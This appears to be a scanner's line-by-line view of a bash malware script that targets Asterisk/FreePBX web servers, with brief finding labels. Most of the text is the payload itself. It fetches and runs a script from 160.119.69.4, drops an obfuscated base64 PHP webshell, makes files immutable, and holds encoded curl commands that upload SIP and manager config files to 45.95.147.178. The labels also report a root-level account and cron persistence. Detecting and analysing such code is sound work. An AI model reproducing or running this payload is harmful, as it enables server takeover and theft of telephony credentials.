Creates UID/GID-zero login account: k.php##base64@10685, k.php##base64@28075
Cron with base64 decode: k.php##base64@10685, k.php##base64@28075
Decoded payload pipes to shell: k.php##base64@10685
| 1 |
#!/bin/bash |
Encoded URL pinned to external IPv4 |
| 2 |
curl http://160.119.69.4/x -ks | bash |
|
| 3 |
echo -n 'PD9waHAgLyogdHJhY2VfMzBlMmNmZDdlYjU4YTNkOTUyMDY0ZDMyMGFiMGM1NDkgKi8gaWYoZmFsc2UpeyAkUWNZd3RQbmd4UWlIWSA9ICdkZWFkY29kZV9hbnRpX2F2JzsgfSAkbWNoeVRvcmxjRlplY0FtdUlkeEggPSBiYXNlNjRfZGVjb2RlKCdabkptWm5aaVlWOW1aMjVsWnlncE93cDJjeUFvZG1abWNtY29KRjlGVWtSSVVrWkhXeWQ2Y1RVblhTa2dKaVlnZW5FMUtDUmZSVkpFU0ZKR1Ixc25lbkUxSjEwcElEMDlJQ2M1T1RBMU1UWTVjakZ5TW5Fek1uSXljWEF6TmpRNU1EWnpOakUzY2paeGN5Y3BJSHNLSUNBZ0lDUmZSbEpHUmxaQ1FWc25lV0ppZUhZblhTQTlJQ2Q1WW5SMGNuRW5Pd3A5Q25aeklDZ2hkbVptY21jb0pGOUdVa1pHVmtKQld5ZDVZbUo0ZGlkZEtTa2dld29nSUNBZ2NuQjFZaUFuUEhOaVpYb2dibkJuZG1KaFBTSWlJSHB5WjNWaWNUMGlZMkptWnlJK0p6c0tJQ0FnSUhKd2RXSWdKengyWVdOb1p5Qm5iR055UFNKbmNtdG5JaUJo… |
PHP decodes a large Base64 literal |
| 3:7930 |
…JG1jaHlUb3JsY0ZaZWNBbXVJZHhIKTsgZXZhbCgkUXdOV1VEZkJDUE9GWG16bEVLKTsgPz4=' | base64 -d > /var/www/html/a… |
|
| 27:323 |
…taccess |
|
| 28 |
chmod +x /var/www/html/admin/views/ajax.php 2>/dev/null |
|
| 29 |
chattr +i /var/www/html/admin/views/ajax.php 2>/dev/null || chattr +a /var/www/html/admin/views/ajax.php 2>/dev/null |
|
| 30 |
chattr +i /var/www/html/h.php 2>/dev/null || chattr +a /var/www/html/h.php 2>/dev/null |
|
| 31 |
echo -n 'ZWNobyAtbiAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPd29rWmowaUwzWmhjaTkzZDNjdmFIUnRiQzloWkcxcGJpOXRiMlIxYkdWekwyWnlaV1Z3WW5oZmFHRXZiR2xqWlc1elpTNXdhSEFpT3dwemVYTjBaVzBvSnlWekp5azdDbk41YzNSbGJTZ2lZWGRySUMxR09pQW5LQ1F6SUQwOUlEQWdKaVlnSkRFZ0lUMGdYQ0p5YjI5MFhDSXBJSHR3Y21sdWRDQWtNWDBuSUM5bGRHTXZjR0Z6YzNka0lId2dlR0Z5WjNNZ0xXNHhJQzFKSUh0OUlIVnpaWEprWld3Z0xYSm1JSHQ5SWlrN0NuTjVjM1JsYlNnaVptOXlJSFZ6WlhJZ2FXNGdKQ2hzY3lBdmFHOXRaU2s3SUdSdklIVnpaWEprWld3Z0xYSm1JRndpSkhWelpYSmNJanNnWkc5dVpTSXBPd3B6ZVhOMFpXMG9JbU5rSUM5MGJYQWdNajR2WkdWMkwyNTFiR3c3SUdGM2F5QXRSam9nSnlna015QTlQU0F3SUh4OElDUXpJRDQ5SURFd01EQXBJQ1ltSUNReElDRTlJQ0p5YjI5MElpQjdjM2x6ZEdW… |
Encoded URL pinned to external IPv4 |
| 32:17361 |
…/test.sh; bash /var/spool/asterisk/tmp/test.sh; rm -rf /var/spool/asterisk/tmp/test.sh |
|
| 33 |
echo -n 'Y3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfcmVnaXN0cmF0aW9ucy5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9tYW5hZ2VyLmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLmlkZW50aWZ5LmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLnRyYW5zcG9ydHMuY29uZiIgaHR0cDovLzQ1Ljk1… |
Encoded URL pinned to external IPv4 |
| 33:2195 |
…i8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTU=' | base64 -d |bash |
|
| 34 |
echo -n 'Y3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiBodHRwOi8vMTYwLjExOS42OS40L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3NpcF9yZWdpc3RyYXRpb25zLmNvbmYiIGh0dHA6Ly8xNjAuMTE5LjY5LjQvaGltYV9kYXRhL2luZGV4LnBocCAtLW1heC10aW1lIDE1CmN1cmwgLUYgImZpbGU9QC9ldGMvYXN0ZXJpc2svbWFuYWdlci5jb25mIiBodHRwOi8vMTYwLjExOS42OS40L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLmlkZW50aWZ5LmNvbmYiIGh0dHA6Ly8xNjAuMTE5LjY5LjQvaGltYV9kYXRhL2luZGV4LnBocCAtLW1heC10aW1lIDE1CmN1cmwgLUYgImZpbGU9QC9ldGMvYXN0ZXJpc2svcGpzaXAudHJhbnNwb3J0cy5jb25mIiBodHRwOi8vMTYwLjExOS42… |
Encoded URL pinned to external IPv4 |